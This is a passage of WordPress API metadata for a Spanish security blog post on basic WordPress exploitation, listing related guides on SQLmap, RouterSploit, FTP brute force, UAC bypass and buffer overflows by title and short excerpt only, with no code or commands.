Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?fit=2000%2C1080&ssl=1","datePublished":"2024-04-02T19:33:15+00:00","dateModified":"2025-01-12T18:19:01+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"description":"Aprende las t\u00e9cnicas de Hacking WordPress de la mano de esta gu\u00eda de explotaci\u00f3n b\u00e1sica con Hardsoft Security Blog.","breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?fit=2000%2C1080&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?fit=2000%2C1080&ssl=1","width":2000,"height":1080},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"Hacking WordPress &#8211; Gu\u00eda de explotaci\u00f3n b\u00e1sica"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-WW","jetpack-related-posts":[{"id":1438,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/02\/01\/como-explotar-inyeccion-sql-con-sqlmap\/","url_meta":{"origin":3654,"position":0},"title":"Como explotar inyecci\u00f3n SQL con SQLmap.","author":"david","date":"febrero 1, 2018","format":false,"excerpt":"Hola a tod@s, aprovechando la anterior entrada\u00a0que trata de la b\u00fasqueda autom\u00e1tica de p\u00e1ginas web vulnerables a inyecciones SQL, aprovechar\u00e9 esta entrada para hacer una gu\u00eda b\u00e1sica de como explotar esta vulnerabilidad con la herramienta SQLmap. As\u00ed describe la web oficial de SQLmap la herramienta: SQLmap es una herramienta de\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":1599,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/06\/20\/analisis-y-explotacion-de-routers-con-routersploit\/","url_meta":{"origin":3654,"position":1},"title":"An\u00e1lisis y explotaci\u00f3n de Routers con RouterSploit.","author":"david","date":"junio 20, 2018","format":false,"excerpt":"Hola a tod@s, hoy os traigo una peque\u00f1a entrada donde vamos hablar de una herramienta que me ha resultado bastante curiosa, la cual se llama RouterSploit. Bueno comenzamos por explicar que es RouterSploit, primeramente comenzar diciendo que esta herramienta ha sido creada por el equipo threat9 y la podemos conseguir\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/06\/4104d18d50920441cd99.jpg?fit=1200%2C799&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":1507,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/05\/22\/fuerza-bruta-a-ftp-con-nmap-y-proxychains\/","url_meta":{"origin":3654,"position":2},"title":"Fuerza bruta a FTP con NMAP y ProxyChains.","author":"david","date":"mayo 22, 2018","format":false,"excerpt":"Hola buenos d\u00edas a todos, hoy os traigo una gu\u00eda bastante interesante, la cual utilizo las herramientas NMAP y ProxyChains... Para los m\u00e1s experimentados, ya sabr\u00e1n para que sirven las dos herramientas anteriormente mencionadas, pero para los m\u00e1s novatos, vamos a realizar una peque\u00f1a aclaraci\u00f3n\/definici\u00f3n de que son estas herramientas,\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/pentesting_logo.png?fit=634%2C309&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/pentesting_logo.png?fit=634%2C309&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/pentesting_logo.png?fit=634%2C309&ssl=1&resize=525%2C300 1.5x"},"classes":[]},{"id":1503,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/05\/17\/uac-bypass-fodhelper-windows-10\/","url_meta":{"origin":3654,"position":3},"title":"UAC-bypass Fodhelper Windows 10.","author":"david","date":"mayo 17, 2018","format":false,"excerpt":"Hola buenas a todos, despu\u00e9s de llevar un tiempo sin publicar nada, hoy os traigo una entrada con un v\u00eddeo bastante interesante donde se puede ver como mediante un script escrito en power shell. Para m\u00e1s informaci\u00f3n de como se realiza el bypass a UAC de windows, pod\u00e9is acceder a\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/bypass-uac-using-dll-hijacking.1280x600.jpg?fit=1200%2C563&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/bypass-uac-using-dll-hijacking.1280x600.jpg?fit=1200%2C563&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/bypass-uac-using-dll-hijacking.1280x600.jpg?fit=1200%2C563&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/bypass-uac-using-dll-hijacking.1280x600.jpg?fit=1200%2C563&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/bypass-uac-using-dll-hijacking.1280x600.jpg?fit=1200%2C563&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3638,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/","url_meta":{"origin":3654,"position":4},"title":"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico.","author":"david","date":"enero 25, 2024","format":false,"excerpt":"\u00a1Hola! Hoy vamos a sumergirnos en el fascinante mundo de SQLMap, una herramienta indispensable para aquellos que se dedican a garantizar la seguridad de las bases de datos y, por supuesto, para los curiosos del pentesting. Imagina tener una navaja suiza que puede detectar y explotar vulnerabilidades en bases de\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":2696,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2022\/03\/18\/exploiting-buffer-overflow\/","url_meta":{"origin":3654,"position":5},"title":"Exploiting Buffer Overflow Windows","author":"david","date":"marzo 18, 2022","format":false,"excerpt":"Bienvenid@s a tod@s, hoy os traigo un nuevo post al blog. Hoy tratamos un caso pr\u00e1ctico de c\u00f3mo explotar una vulnerabilidad de desbordamiento de b\u00fafer de una aplicaci\u00f3n, en este caso instalada en un Windows 7 de 32 Bits. Software necesario. PCMan FTP Server 2.0.7. Conseguir aqu\u00ed\u00a0exploit-db Immunity Debugger\u00a0aqu\u00ed. mona.py\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/03\/Imagen-1-1.png?fit=802%2C429&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/03\/Imagen-1-1.png?fit=802%2C429&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/03\/Imagen-1-1.png?fit=802%2C429&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/03\/Imagen-1-1.png?fit=802%2C429&ssl=1&resize=700%2C400 2x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?fit=2000%2C1080&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3654","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3654"}],"version-history":[{"count":14,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3654\/revisions"}],"predecessor-version":[{"id":3795,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3654\/revisions\/3795"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3655"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3654"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3654"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3654"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}